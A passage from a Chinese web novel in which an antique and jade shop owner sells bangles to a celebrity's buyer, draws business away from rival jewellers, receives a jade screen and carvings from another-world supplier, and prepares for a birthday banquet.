孟甜甜不好意思的笑笑：“买*了两台小型发电机，两台雨水净化器，还有几包水泥和细沙。我想提前准备，等找到合适地方直接动手改造。” 萧妧妧拉开防雨布一看，可不止她说的这几样。 什么海水淡化机，蓄电池，光伏板……只有想不到没有找不到。 尤其蓄电池，大小功率准备齐全，少说二十多个。 “这味对了。”萧妧妧感叹。 孟甜甜扭头：“什么味？” 萧妧妧：“末世求生的味。” 囤了硬件设备，下一本就该是多囤粮食，萧妧妧想，幸好办了粮食销售许可证，不然真支撑不住四五个人的需求。 或许都是大件快递，升了一趟趟搬运的工夫，速度反而提升，十二点不到全部搞定。 萧妧妧想顺带收拾一下院子，孟甜甜推着她回家休息。 “别忙了，晚上早点睡，明天晚上不是还要参加生日宴会吗，挂着两个黑眼圈可不行。” 萧妧妧一想也是，状态不好戴多贵的珠宝都不顶用。 放下手里东西，萧妧妧拍拍手，带走一大包垃圾，回家睡觉。 蹑手蹑脚进了院子，合上院门，没等进屋，就看到云昭昭面颊红扑扑从楼上下来。 见是萧妧妧，云昭昭长舒一口气，快步走来。 “妧妧姐，好消息，季随同意啦。”她雀跃地说。 萧妧妧稀里糊涂，没反应过来：“同意什么？他同意当你和黎行墨的小三啦？” 云昭昭笑容呆滞，瞳孔震动，不敢相信自己听到了什么虎狼之词。 “妧妧姐！”她气得跺脚，拽着萧妧妧去院子里的秋千上坐下，“你再想想，反正是好消息。” 萧妧妧挠头，不确定的问：“总不能，他……同意当小四了？你们一家四口团员了？” 云昭昭：…… “什么小三小四，一家四口，妧妧姐你认真点。”云昭昭不止脸颊红，全身都粉了。 萧妧妧纳闷嘀咕，还能有啥好消息。 云昭昭提醒：“别总想着我，跟你有关的。” 萧妧妧一顿，想到什么，神情激动。 她缓缓看向云昭昭想去确认什么，云昭昭在她的注视下，点了点头。 【作者有话说】 感谢读者“清晰的梦”,灌溉营养液 +3 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“韵月”,灌溉营养液 +3 感谢读者“A玉”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +3 148 第148章 ◎谁能拒绝零元购的魅力◎ “真的吗？他同意联合投资啦？” 萧妧妧振奋挥拳,双眼放光，仿佛下一秒能拿到票房分成似的。 顿了顿，没等云昭昭回应，她又问：“不是说要等黎行墨生日之后,季随过生日的时候送惊喜吗？这么早？” 云昭昭泄气耸肩：“本来想留着当惊喜的,这不是给学长准备礼物的时候被他发现,然后……这样那样的,被他问出来了。” “他前面两部电影赚了不少，一开始打算这次投资自己扛,我说妧妧姐想投资，他以为我在开玩笑呢。” 萧妧妧再次强调：“我可是认真的,花钱的事怎么能玩笑。” 云昭昭重重点头：“我就是这么回他的，季随跟我说现在已经立项,剧本过审了，等他整理好素材就能组班底什么的,正好是拉投资的阶段。 妧妧姐,我不懂什么投资,怕传错话,要不你们约个地方见面谈？” 萧妧妧听到这里彻底踏实了,长舒一口气，愿意谈就好，谁会忍心拒绝莫名其妙多出一笔投资分担风险呢。 尤其拍电影这种烧钱的艺术，多多益善。 她迫不及待掏出手机：“确实要见面谈,分成的方式有得聊呢。你放心，我有他联系方式,改天约巷子口的茶室见面谈。” 云昭昭面露迟疑：“妧妧姐,我随便问问,不是不相信季随，也不是质疑你的意思，电影投资要好多钱呢，你真不怕亏了吗？万一亏了……” 一边是自己重视的家人，一边是情意渐浓的男友候选人，万一因为投资项目失败生出嫌隙，云昭昭光是想想就头大。 糟糕的结果她不想看见，但投资总有盈亏。 萧妧妧粲然一笑，不带有一点敷衍情绪，语气诚恳正经：“别怕，我考虑得很清楚。 一，我相信他的水平，二，几千万而已，亏得起。 比起我对收益的期待，这点亏损我完全能承担。 投资嘛，亏了赚了都是常事，我有心理准备，真亏了只能算我运气不好，下次再投嘛。 你别乱想，就算我亏惨了要找季随算账，也会避着你去找人，不会让你难做的。” 听到后半句，云昭昭满脸羞窘，过后又浮现出崇拜神色。 几千万的亏损说的轻描淡写，不愧是妧妧姐，真洒脱。 萧妧妧一点不洒脱，她的自信全部来源于剧情。 她有一句没骗云昭昭，如果剧情失效真的出现亏损的情况，这点钱对她而言不算难以接受。 “别操心啦，等姐投资赚了大钱，带你坐跑车兜风，”说到一半，萧妧妧忽然问：“你是不是要开学了，时间定了吗？” 云昭昭说起开学，充满了向往与欢快：“嗯，定了，下个月2号报道5号军训，宿舍情况我已经在确定了。” 萧妧妧：“那太好了，我爸妈嚷嚷了好几天要送你去上学呢，我妈连你的生活用品都准备好了，你可别花冤枉钱。” 云昭昭嗫嚅着想说什么，萧妧妧装作没看见，拍拍她肩膀继续道：“为了庆祝你开学，到时候我们一家子一起吃饭，准备好收礼物吧。” “礼物？妧妧姐，你跟叔叔阿姨说，我不需要礼物，你们能送我去学校已经很麻烦了。 而且，我住进来后都没交过钱，反而是阿姨一直给我添衣服鞋子，我不能再要了。” 云昭昭瞪着泛红的眼眶，话音急促紧张。 萧妧妧打断她：“这才哪到哪？我爸妈没跟你说吗，等你上了大学，他们还要继续负责你的生活费呢。 你呢，稍微辞掉那么一份两份兼职，好好学习，好好享受大学生活，等以后你学有所成，姐这边好几个老古董要你帮忙修复呢。 要是你会鉴定就更好了，我店里好多东西看不出年份，可愁人了。” “妧妧姐……” “你可别哭，黎行墨看到了要跟我拼命，季随看到了拒绝我投资，亏大了。” 云昭昭噗呲一声笑出鼻涕泡，“我就是……不知道说什么好。” 感动到极致的时候，云昭昭哽咽着说不出，只想放声哭。 “那你自己感动去吧，明天参加生日宴，我可得养精蓄锐大吃一顿。”萧妧妧转身进房间，关门前探出脑袋提醒：“早点睡，顶着肿眼泡化妆也救不回来。” 房门咔哒一声合上，云昭昭终于没能忍住，捂着脸呜呜哭。 ………… 第二天依然是个阳光明媚的好天气，萧妧妧一大早爬起去店里。 孟甜甜先一步做好了打扫准备工作，一进门，茶水咕嘟咕嘟冒泡。 萧妧妧没事干，也没有大客户预约上门，乐得轻松，于是敞着院门等待游客进来闲逛，自己抱着图录看。 翻了几页，她总觉得缺了什么，环顾一圈发现院子里格外冷清。 柳如烟没来。申明月忙着和族人谈造纸的事，没空来。苏娇娇要去巡视自家铺子厂子，也没时间过来闲聊。 人多了吵得慌，人没了又不习惯，萧妧妧摇摇头，继续看图录。 “姐姐，孟姐姐。” 正说院子里冷清，爱丽丝踩着湿漉漉的洞洞鞋，格叽格叽跑来。 院子里只有萧妧妧在，她先跑到萧妧妧身边，给她塞了个什么东西，又跑去189号找孟甜甜，同样塞了个什么东西。 萧妧妧只感觉一阵风刮过去，然后手里多了一样颇有份量的冷冰冰的东西。 “爱丽丝，这是给我们的礼物吗？”孟甜甜惊喜低呼。 爱丽丝重重点头：“我们在山里找到了好多没有毒的菌菇，还有可以吃的果子。” 孟甜甜配合的哇了一声，表扬她：“真棒，已经学会分辨菌菇了。所以这是感谢我们的礼物？” 爱丽丝腼腆微笑，轻轻嗯了一声。 孟甜甜揉揉她脑袋，起身来到188号，笑着和萧妧妧说：“你就当是教师节礼物吧。” 萧妧妧吐槽：“谁家教师节礼物送宝石皇冠啊。” 孟甜甜伸出手：“不想要给我？” 萧妧妧赶紧缩回去，美滋滋捧起她的鸽血红皇冠。 “谢谢爱丽丝，我喜欢你的礼物，它太漂亮了。”萧妧妧夹起嗓子，做作的大声喊。 孟甜甜搓了搓鸡皮疙瘩，扭身回去整理物资。 爱丽丝不觉得她夹子精，冲着萧妧妧咯咯笑，左看看右看看，两个姐姐都很喜欢礼物的样子，顶着一张烟熏火燎过的小脏脸，格叽格叽跑回古堡。 萧妧妧欢喜地欣赏完自己的皇冠，跳下躺椅缠着孟甜甜要看她的。 孟甜甜没办法，擦擦手回房间取来东西。 “哇塞，爱丽丝眼光真好，我的是鸽血红，你的是祖母绿。” 小孩子可能不懂价值，只挑自己觉得好看的，而这两顶皇冠无疑是美的。 不仅美，而且贵。 八克拉的鸽血红有十二个，绕着皇冠一圈，中间交缠的环形金属嵌满无色钻石，熠熠生辉。 祖母绿那顶不遑多让，顶端的祖母绿主石少说十五克拉，副石看起来像沙佛莱，在皇冠底座嵌了一圈。 孟甜甜：“你喜欢？” 萧妧妧：“当然喜欢，这么漂亮还这么贵，谁能拒绝？” 孟甜甜一想也是，要不是她那里面临末世，喜欢珠宝的人永远不缺。 “这顶不行哦，爱丽丝的礼物，让她知道该伤心了，回头我帮你在我那里找找。” 萧妧妧嘟囔：“你把我当什么人了，我是纯欣赏，可没有要你礼物的意思。” 她赶紧把祖母绿皇冠还回去，以此证明自己没有觊觎的念头。 孟甜甜笑：“那……我就不给你找了？可惜我这几天路过几家奢侈品商场，里面的珠宝无人问津，包包衣服什么的连一块面包都换不来。 哦，对了，我最近找到了一个山腰处的别墅区，已经在踩点了，没人住，还想着撬几个保险箱看看有没有好东西，我自己用不上，给你也不浪费不是。 可惜了。” 她再次叹气，好像在为蒙尘的珠宝奢侈品惋惜。 萧妧妧急得差点跳起来，扒拉她的胳膊使劲摇：“不行不行，这不是一回事，甜甜姐，甜甜大美女，你可千万别放过奢侈品商场，你尽管说要用什么工具，我帮你找。” 孟甜甜肩头耸动，笑了好一阵，“知道了知道了，本来就是给你找的，否则我才不去商场呢。放心吧，尸潮吓走了整个城市的人，那些东西没人跟你抢。” 萧妧妧越听腿越软，脸上充满向往的神色：“天哪，整个商场的奢侈品任我挑，说出去谁不羡慕啊？” 孟甜甜这时突然问：“对了，咱们两个世界不同，我那里的奢侈品，在你这里算奢侈品吗？” “不能吧，应该差不多。”萧妧妧迟疑：“算了，就算品牌不一样，难道奢侈品的质量和设计能作假？没事没事，万一是我这里不存在的品牌，那不是更好？独一无二。” 想到这里，即便对奢侈品没什么狂热追求的萧妧妧，也情不自禁激动起来。 她噔噔噔跑回躺椅附近找手机，把知名度高的几个品牌翻出来给孟甜甜看一眼。 孟甜甜只扫了几个logo，讶异挑眉：“真神奇。” 萧妧妧眼含期待：“怎么说？是不是一样的？” 孟甜甜：“分毫不差。等着，我给你把仓库都搬来，什么配货，用不着。” 大手一挥，孟甜甜一副挥金如土的豪气姿态，和刚来店里时怯怯的样子完全不像一个人。 萧妧妧欢呼一声：“姐，你是我亲姐，零元购的时候一定要跟我打视频，我们一起逛街~” 谁能拒绝零元购的魅力？ 还是一场既没有法律风险，也没有心理负担的零元购，反正她不能。 “什么零元购，那些是没人要的东西，我们这是捡垃圾，”孟甜甜理直气壮地纠正：“喜欢哪些牌子？明天可能会路过，我顺手给你代购两件。” 萧妧妧乖觉的很：“都喜欢，我不挑的。” “咚咚咚” 两人欢欢喜喜讨论零元购，这时传来敲门声。 “请问一下，这里是不破斋吗？” 循声扭头，有客人找错了院子，从189号院门摸了进来，不过也无所谓，两家院子并一家了。 萧妧妧热情招呼：“对，是不破斋，买古董还是翡翠？当然，随便看看也行。” 卷发女人摘了遮阳帽，打量一圈院子才迈步进来。 “我来买翡翠，您店里的这两款还在吗？”女人走近，掏出手机翻出两张照片，“一只春带彩，一只冰飘花。” 萧妧妧看清照片，不禁露出笑意。 高鹭的明星效应果然好用，瞧瞧，已经有人拿她发在朋友圈的照片找上门了。 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“杨旷旷”,灌溉营养液 +10 149 第149章 ◎这个不破斋邪门的很◎ “有,在店里摆着呢，请进。” 萧妧妧领客人进店，不着痕迹打量她，试图认出她是哪个明星。 “我是第一次来您店,没想到您这里的货比市场上的好多了。” 女人一进店就见萧妧妧铺上绒布,取出所有春带彩和冰飘花手镯排排摆开。 粗略扫一眼,她满脸惊艳之色,拿起这个，又忍不住去看那个。 那个绿色艳,这个紫色浓，还有一个紫和绿恰到好处,镯子个比个的优质，她熟练地挑挑拣拣,难以取舍。 “我拿出去拍个照，给我顾客看一眼。” 萧妧妧恍然,不是明星,是帮明星买翡翠的买手。 萧妧妧做出请的手势,任由她拿东西去阳光下鉴别。 “这只冰飘花真漂亮,绿花像云朵一样,老板，这两只多少啊？” 拍完照，女人抱着手机聊了片刻，转头进门问价。 萧妧妧估摸着那位客户大约是看上了,直截了当报数：“你腕上的两只，冰飘花550,春带彩660。” 女人下意识砍价：“贵了贵了,您让让呗,我买两只呢。” 萧妧妧问：“您想开多少？” “飘花400，春带彩500，我经常跑市场，以后还会常来，您就照顾照顾我。” “实不相瞒，今天点名要您这两件货的，是个女明星，挺红的，过段时间说不准你能在她手上见到，到时候肯定能把您店里生意带起来。” 萧妧妧笑笑，不以为然：“那可不容易，我店里东西贵。” 女人这才挪开目光，在展示柜扫一圈，暗暗咋舌。 古董她不懂，翡翠她看得明白，一眼一个800万的标价牌，一眼一个2000万的标价牌，吓得人心直颤。 再仔细看3000多万的帝王绿摆了一排，2000万的红翡镯子堆成堆，相似品质的翡翠镯子少说有三四十只，全是收藏级别的顶尖好货。 不愧是高鹭看上的店，太顶了，快赶上国际展览上的档次。 女人一通乱扫，瞧清楚店里的翡翠成品，在看向手里的几只镯子，神情不禁带出几分怯。 这档次，谁敢还价啊？ 原来照片里那些翡翠，只能算店里的低档货。 萧妧妧笑吟吟说：“您手里的照片是从高鹭姐那看到的吧？既然这样，我给您算个友情价，飘花500，春带彩610，您要是能接受，我多送您一个小挂件，咱们交个朋友。” 货够好，价格适当，根本没有多少还价的余地，女人正为难怎么和客户说，忽然听到萧妧妧说送挂件，转而问：“什么样的挂件？” 萧妧妧弯腰从抽屉里捡来一枚糯冰福瓜，“这件怎么样？从原料到设计，都是我亲自盯着，下半边是糯冰，上半截接近正冰了。” 料子是萧妧妧在原料市场解的第一块原石，因为太普通，她没费心思，找了个普通设计师加工。 萧妧妧放弃做镯子，选择切挂件，最后切出来两枚平安扣，三枚福瓜。 一件3-6万不等，从成本来说，很赚。 但与店里其他翡翠对比，这几件小东西拿不出手，也不会有人在见识过顶尖好货之后还看得下它们。 萧妧妧索性决定用它们当小礼物。 女人接过挂件仔细瞧了瞧，放在外面卖的话，少说值个5万左右，抵得上这一趟的抽点了。 当然，这个价位和明星们动辄百万的翡翠珠宝没法比，放在普通人当中，算是很不错的选择。 萧妧妧见她心动，于是又道：“您懂行，肯定能看出来我这里的货好坏，其实这个水平的品质很少出现在市场里。 一般来我店里的客户都不怎么还价，因为好东西就是卖一件少一件，买到等于赚到。 您看您旁边那只，高鹭姐刚发给朋友看，转头人家就定下了，约好了过两天拍完戏上门拿货。” “您的客户要是预算不够，可以再看看这只，这只春带彩300万，或者那只冰飘花，特别有意境，山水画一样，比您手上的便宜一半。” 女人笑笑：“您放心，来之前我们就打听过，知道您这里好货多，只是价格确实贵，我那个顾客有在看另外一件，这不是在犹豫嘛。这样，剩下几只我也拍个照片？” 萧妧妧示意她随意。 孟甜甜一边举哑铃，一边往古董铺里瞄，前几次的顾客大方又爽快，这次怎么拖拖拉拉。 她才瞄了两眼，女人再次进店。 “老板，就按您的报价，两只都要了。” 萧妧妧欢喜的唉了一声，福瓜一起拿来：“这件送给您戴着玩，下次再有生意多多照顾。” 女人微笑着接过挂件，把玩一阵，问：“对了，您这有平安扣吗？要玻璃种或者高冰种，要透一点，颜色要又蓝又绿的那种。” 说着，她忍不住苦笑：“客户要求比较高，连着找了三个市场，十来家店，没一个满意的。” 萧妧妧拉开漆器首饰盒其中一层：“巧了，平安扣可不少。” 女人不以为意，直到看见一排排玻璃种，大小不一的平安扣。 “哇，这件起刚了。” “这个也不错，水头真好。” “这个颜色好看，我去拍张照。” 她稍显激动，挑出五枚平安扣依次拍照发出去。 萧妧妧以为又要磨蹭许久，谁知道她刚想喝口茶，女人满脸笑容的进来了。 “老板，起刚的这件包起来吧。” 萧妧妧抱着茶杯愣住，前面磨磨蹭蹭，这会倒是爽快，都不还价了？ 女人笑道：“客户特别喜欢，价格也能接受。其实要不是客户那边预算给的紧，我才懒得费那个劲讨人嫌呢。” 这一单做得不容易，拖了一个半月，她差点以为要跑单了。 抱着试试的心态发过去问了一下，没想到客户意外的喜欢，问完价格二话不说，必须拿下这件起刚的平安扣。 萧妧妧顾不上喝茶，推去计算器：“一共1320万。” 女人痛快付钱，临走前加了萧妧妧的联系方式。 “这下好了，客户再要找什么上档次的，直接跑您这里看，市场上那些东西我都看熟了。” 萧妧妧闻言，心思一动，不禁追问：“那您看过遇翡的货吗？他们家不在南市，我也没找到机会去看看。” 女人、不，李筎摇了摇头：“这家名气不小，我之前经常去，好多明星在他们家买呢，最近两年听说换了大股东，要价越来越离谱了。” “要说他家的货嘛，确实还不错，但也没那么好。” “您放心，和您店里的货比，差不少呢。” 萧妧妧笑笑，没说话。 李筎又道：“对了，今天托我□□带彩的客户，她就在遇翡看中一件，这不，最后选择您家了。 我听她说是在高鹭朋友圈看到的照片，一见钟情来着。 遇翡那件她犹豫了半个月，迟迟做不了决定，您店里这件她才看一眼就动心了，要不说买翡翠买的是个缘分呢。” 500万春带彩犹犹豫豫，换成600万的立马敲定，有时候真不是舍不得花钱，而是没遇见合眼缘的东西。 萧妧妧闻言不禁愣住，这算什么，她就这么抢到了遇翡的客户？ 意识到这一点，萧妧妧忍不住傻笑，送李筎出门后，蹦蹦跶跶回店里。 李筎出了院子，给手里的票据和包装拍了照片分别发给客户。 客户没回消息，遇翡的人先联系了她- 筎姐，店里有新到的平安扣，您什么时候过来看看？- 对了，您客户看中的春带彩考虑得怎么样了？500万已经是最低价了，相同品质不会有别家比我们更优惠- 筎姐，帮帮忙再和你客户抬抬预算，我们遇翡的品质没得说。 李筎看到消息提示，没时间多说，简短的回了对面几句- 谢谢，客户要的平安扣找到了- 春带彩不需要了哦，麻烦您了 远隔千里的平市，玉器街一间气派商铺，柜台后面的年轻员工听到叮咚一声，连忙打开消息。 看清李筎的回复，年轻员工傻眼，愣了片刻，径直去店铺二楼的茶室找人。 “赵老板张老板，李筎那只春带彩不要了。” “而且……”他调出李筎的朋友圈，“好像也是在不破斋买的。” 赵老板粗喘口气，骂骂咧咧抢过员工手机，一目十行看完。 “娘的，还真是不破斋。” 李筎刚发布的朋友圈，九宫格里，高鹭的朋友圈截图占据首位，对应的春带彩、冰飘花以及玻璃种平安扣排在后面，随后是打码的与客户的聊天截图，还有不破斋的门头以及店铺环境照片。 【感恩！高鹭姐的推荐必须要来看看。 南市热得我崩溃，但是没关系，今天又是收获满满的一天。 嘻嘻，我的客户们都很喜欢呢，找寻了许久的平安扣也完美完成任务啦。】 张老板重重搁下茶杯，噗一声吐了嘴里的茶叶梗，指着员工的鼻子质问： “何文那里就算了，咱们没找到货，在谈的客户怎么还给人拉走了？平时不维护的吗？” 员工瘪瘪嘴，委屈的小声辩驳：“我有在维护……” 赵老板不耐烦道：“行了行了你去看店。” 赶走员工，赵老板一屁股坐回沙发上，呼哧呼哧喘气。 “这个不破斋邪门的很，以前没听说过有这么个人物啊。 你看看，人家卖古董一个月流水过亿，赚的冥币啊？任玉那边不知道怎么算呢。 你是没看见，我看到龙石种的时候我脑子都飞出去了，我想不通，这背后到底是谁啊。” 赵老板宣泄似的吐槽完，又问：“你说，这个不破斋是不是故意冲咱们来的？一次两次，都是她。我们得想办法啊。” 张老板摸了摸自己的秃脑门，没好气教训：“早让你冷静点，珠链那事大不了就算了，你自己不甘心，非要找上门买回来。 你买回来了吗？东西没买成，还彻底闹掰了，你说说你那些招…… 唉，现在知道想办法了，我能有什么办法？我连那个什么破斋门开哪都不知道。” 赵老板不乐意了，扯着嗓门高声辩驳：“你看看你，当时我说我要去的时候，你们没人反对吧？现在好了，都成我一个人的锅了，真是有意思。” 遇翡工作室吵翻天了，两个人互相指责，吵出一个团队的感觉。 南市月牙巷188号的不破斋，气氛无比融洽，萧妧妧笑成一朵花，脸上就差写着快活两个字。 因为龙傲天来销账了。 萧妧妧以为是翡翠镯子挂件一类的，开始犯愁往哪里塞，冷不丁见到龙傲天送来的大家伙，热血沸腾。 孟甜甜推了推她，提醒她赶紧回神。 萧妧妧傻愣愣说：“甜甜，我知道要选哪件办专拍了。” 【作者有话说】 感谢读者“是清欢”,灌溉营养液 +20 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“A玉”,灌溉营养液 +1 150 第150章 ◎默不作声的炫富◎ 孟甜甜帮着把箱子推到一旁,又帮着调整像一堵墙似的落地屏风。 三人忙了好一阵，总算能站在屏风前开始赏鉴。 龙傲天双手负背，面露满意神色，孟甜甜和萧妧妧表情如出一辙,目瞪口呆。 “天呐……这是一堵墙还是一架屏风？”打量好半晌,孟甜甜震惊开口。 萧妧妧一脸肉痛：“暴殄天物啊！这么好的翡翠切成屏风了。” 是的,翡翠屏风,简直是默不作声的炫富行为。 屏风是落地独扇式，别看名称里有独字,以为小小一块，实际比什么三扇式多扇式还要大,长度达到了4米，高度1.8米。 一架屏风堪比一堵墙,直接把小卖部一分为二了。 “屏风是紫檀木制成，上面的春景图由大师雕刻而成,这些没什么好说的,都是陪衬,这架屏风的重点在于四块春带彩。” 如果说屏风整体是一堵墙,规律镶嵌在紫檀木中央的翡翠,就像是从墙上开出来的椭圆形窗户，午后烈阳透过翡翠“窗”洒来一片紫色绿色光线，朦胧、梦幻、柔和。 四块椭圆形春带彩板料大小一致，长度1米,宽50厘米，厚度2.4厘米左右。 从色彩分布形状以及比例来看,这无疑是一块极为优质的春带彩原石。 若是取手镯,8-10只满色手镯不在话下,且每一只手镯的价值都相当可观，一只少说值900多万。 其他带色不够满的手镯能切更多。 从变现速度、溢价空间以及流通性等几个方面考虑，制作手镯和其他物件所带来的利润率差异非常大。 商人对于价值的追求，决定了原材料最终的呈现形式。 当手中拥有如此高品质的翡翠料子时，无论是从哪个方面去考虑，都会毫不犹豫地优先选择制作手镯。 只有在无法制作出手镯的情况下，才会考虑其他的加工方式。 明明能够制作出精美手镯的料子，却被用来制作了屏风。 即便是有钱人也不敢如此轻易、豪横地浪费好材料，可不就是暴殄天物、大材小用。 有种水的春带彩板料一共有四块，每块颜色浓淡程度相近，尺寸相同，意味着想要切出它们，原料必定大许多倍，如此稀有的材料，太难得了。 更难得不止是春带彩本身，还有它的设计和雕工，工匠把大片绿以及一团一团的紫应用的淋漓尽致。 第一块翡翠板料，绿色雕成连绵青山，白色雕成翻腾的云雾，一团团紫色雕成了大朵大朵的牡丹。 第二块板料绿色多，紫色散落其间，工匠便重新设计，浅绿成了远山，仿佛云雾笼罩，稍艳的绿色雕成展翅仙鹤，紫色则成了漫与山谷间的云雾，完全一副紫气东来的祥瑞图景。 第三块板料更符合春景的主题，深浅不一的绿是草木，白色成了奔腾的流水，大团大团的淡紫成了江水两岸盛放的花丛。 第四块板料设计的更妙，是一棵完整的牡丹，深绿做枝干稍浅的绿色做叶，大小不一的紫色成了盛开的牡丹和含苞待放的牡丹。 尤其有背后的阳光衬托，云雾花朵和流水，栩栩如生，如梦似幻。 萧妧妧和孟甜甜哪见过这世面，已然被眼前的屏风美得走不动道，一块一块扒着细看。 不说紫檀木，只看四块板料，价值少说一亿起步。 当然，这样的东西，不是说有钱就能打造出来的。 萧妧妧一见到紫檀嵌翡翠春景屏风，送它去拍卖的念头怎么也止不住。 别看低档翡翠市场冷得无人问津，高档翡翠则呈现完全相反的态势，火爆异常。 老天奶，她要是拿出这么一件要美貌有美貌，要价值有价值的藏品，谁敢小看？ 今天是她被龙傲天炫一脸，拍卖场上，就轮到她炫别人一脸了。 龙傲天等了好一会，见两人扒着屏风不放手，自得片刻，催促萧妧妧去看其他的，他还赶着回去打仗呢。 萧妧妧听到催促声，嘴上应得痛快，眼睛却没舍得离开。 龙傲天没办法，索性自己掀开箱子，先取出一件小巧的翡翠酒壶，迈步到萧妧妧面前，在她眼前晃了一圈。 果不其然，一抹翠色闯进眼帘，萧妧妧的双眼不自觉跟着翡翠酒壶挪开。 “真的酒壶还是只有造型啊？” 萧妧妧好奇去拨酒壶盖子，龙傲天连忙躲开。 “玻璃种阳绿酒壶，内里掏空了的。盖子有点松，小心摔了，真摔了算你的。” 萧妧妧一听，嚯了一声，这也是个好东西。 酒壶的肚子比她拳头胖一圈，哪怕不喜欢酒壶，改成其他什么蛋面挂件的都行。 她小心翼翼接过酒壶掂了掂，掀开盖子往里面瞧，说是掏空，其实也没有很空，这点空间估计能装100ml的水。 龙傲天指了指箱子，道：“萧老板你看看，再加上这几件够不够？” 萧妧妧放下酒壶，转而去看其他东西。 箱子里剩下3件东西，严格来说属于摆件，翡翠摆件，尺寸还不小，刚好把箱子挤得满当当。 萧妧妧找龙傲天搭把手，吭哧吭哧搬出其中一件黄加绿观音坐像。 坐像高50厘米，除底座用木料固定，其余全由黄加绿三彩翡翠打造而成。 料子自然是不必多说，绝对是上乘之选，种水更是无可挑剔。 但比起种水，萧妧妧更喜欢观音像的设计，实在是太惊艳、太有意境了。 先从底部看起，碧波深潭一般的绿色雕出莲花宝座，变幻的蓝绿色泽仙气飘飘。 中间的白底材料不多不少，刚好够雕出完整的观音像。 观音左手捧卷，右手*指经，手中经书为黄色，多余的白底设计出鹿与仙鹤错落围绕，增添了一抹生动。 黄与白相互映衬，更显庄重。 而到观音像的风帽，是更白一点的白底，衣袖点缀丝丝缕缕的绿，犹如随风飘动，灵动飘逸。 说完了白色绿色，剩下就是黄色，观音像顶部的黄色雕成祥云形状环绕。 观音像背后稍艳一点的黄，则雕出了佛光万丈、云雾缥缈的神圣感，祥瑞之气扑面而来。 有特色的料子，适配的设计，精湛的雕工，最终呈现出一件精美又不失意境的观音坐像。 对比之下，前面那只翡翠酒壶，除了料子好，其他不过如此。 孟甜甜：“快看那个，可真漂亮。” 萧妧妧顺着她手指方向看去，眼睛一亮，忙把观音像放在一旁，仔细研究下一件。 底座同样是木头打造，翡翠摆件整体呈现白与绿两种颜色，深绿是青山，浅绿是围绕山峰的云，白色是从两座山之间倾泻而出的瀑布，底部的深潭有她脸大，色泽接近阳绿。 迸溅的水珠，夹缝里的草木，飞翔的鹤，细节之处依然禁得起细看。 三件翡翠摆件，件件不同，第四件更特别一点，特别的普通。 “这……看起来是个盘子吧？”萧妧妧不确定的说。 有时候她也分不清，到底算盘子还是摆件，但不管怎么说，应该没人会舍得拿一只紫翡盘子装菜。 “当然是摆件。”龙傲天道。 这件紫翡盘子色泽虽然正，但不够匀，上面厚下面薄，胜在种水好，以及它够大。 孟甜甜小声说：“比咱们昨晚吃烤鱼的那个盘子大。” 萧妧妧比划了一下，附和点头，确实大，能装两条鱼呢。 龙傲天这一批货属实精彩，尤其那架春景山水屏风，后面几个摆件稍次，不过也很好了，一个小千万差不多，最后的盘子要更低一点。 “够了够了，销一本，剩下两本……你还是送镯子吧。” 萧妧妧从流通方面考虑了片刻，果然还是更想要镯子。 这几个摆件她完全想不到谁会来买，想来想去，送拍卖行最合适。 一下子凑到五件翡翠成品，一个专拍就这么凑出来了。 龙傲天得了准话，松了一口气，赶紧道：“那我先回去了，刚收回来一座城，忙着呢。” 萧妧妧多看他一眼，难怪这次来稍显得意，原来是打了胜仗。 龙傲天离开，孟甜甜也回去忙自己的事，萧妧妧看时间不早，东西塞回箱子里，放进系统空间存放。 春带彩的屏风太大，单独占了一格。 忙完这些就是午饭时间，萧妧妧一个人在店里懒得折腾，糊弄一下抓紧时间看图录。 国内有名气有信誉的拍卖行算上佳博一共有五家，五家说好了似的，挤在中秋前后开拍。 职业买手比明星赶通告还匆忙，上午在这家，中午饭顾不上吃赶高铁，下午到了另一家。 买到东西倒还好，一件没拍到才呕死人。 萧妧妧第一次正儿八经参加拍卖，就担心好东西一件拍不到，只能多做准备，佳博去不了就去另外几家。 她很听劝，着重关注瓷器，尤其是官窑瓷。 高抛低吸同样适用于收藏圈，现在就是低吸的好时候，囤官窑瓷总归不会出错。 萧妧妧一本本翻看、查资料，好在下午游客少，进店的客人更少，效率翻倍。 直到四点左右，云昭昭提醒她该出门了，萧妧妧慌张拎起东西，直接去造型工作室集合。 “真是想不明白，他的生日宴，为什么要折腾我。” 云昭昭僵坐在椅子上，脑袋一动不敢动，只有眼睛来回瞟。 萧妧妧暗暗道，当然是要送惊喜啊。 她微微笑，没揭穿，正好妆造进行到最后一步，拍拍云昭昭肩膀，转身去了试衣间换衣服。 黎行聿答应她，要介绍一些投资圈的朋友给她认识，所以这场宴会对她而言不是简单的参加朋友生日，带了非常重的社交属性。 衣服的选择以大方复古为主，色彩是浅淡的藕色粉色，适配她所有的翡翠首饰。 “哇……妧妧姐，你看起来好贵气啊。”云昭昭透过面前的镜子看到试衣间里出来的萧妧妧，眨巴眼睛呆了片刻。 萧妧妧踩着8厘米高跟鞋，款步绕到云昭昭身侧，做作地凹出端庄姿态，优雅翘起手摆在锁骨附近。 “怎么样，像不像知名翡翠收藏家，大古董行老板。” 云昭昭瞬间恍悟，视线重点偏移，望了望她手腕上的帝王绿胖圆条手镯，手指上硕大的帝王绿戒指。 顺着指尖翘起方向，她的视线又落在了瓷白肌肤旁两粒晃动的帝王绿耳坠。 就连新做的美甲也像极了流光溢彩的宝石。 “像！复古又高级，还年轻漂亮。妧妧姐，你穿的是旗袍吗？看起来像时装一样时髦。” 萧妧妧摸了摸身上的绣花旗袍，忍不住吐槽：“可不是，贵死了。” 她多转了两圈，挑剔一会，勉强觉得十万块花得值。 精致，美丽，复古，高级，关键是低调不抢风头，宽松的版型完美遮住肚子，多吃两口也不用担心撑出小肚子。 不会突显小肚子这一点她最满意。 等云昭昭妆造完成，时间刚刚好，最后检查一遍手包，手机、化妆品、名片全都在，萧妧妧拉着云昭昭往宴会地点赶。 【作者有话说】 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 150-160 151 第151章 ◎良心古董商◎ 宴会地点好巧不巧在月牙湾别墅区,是黎家在南市的房产之一。 萧妧妧刚到手的别墅是66号，黎家在88号，同样临湖而建，享山景、水景、城市景观。 直到两人下车,云昭昭还在为自己选的礼物而忐忑。 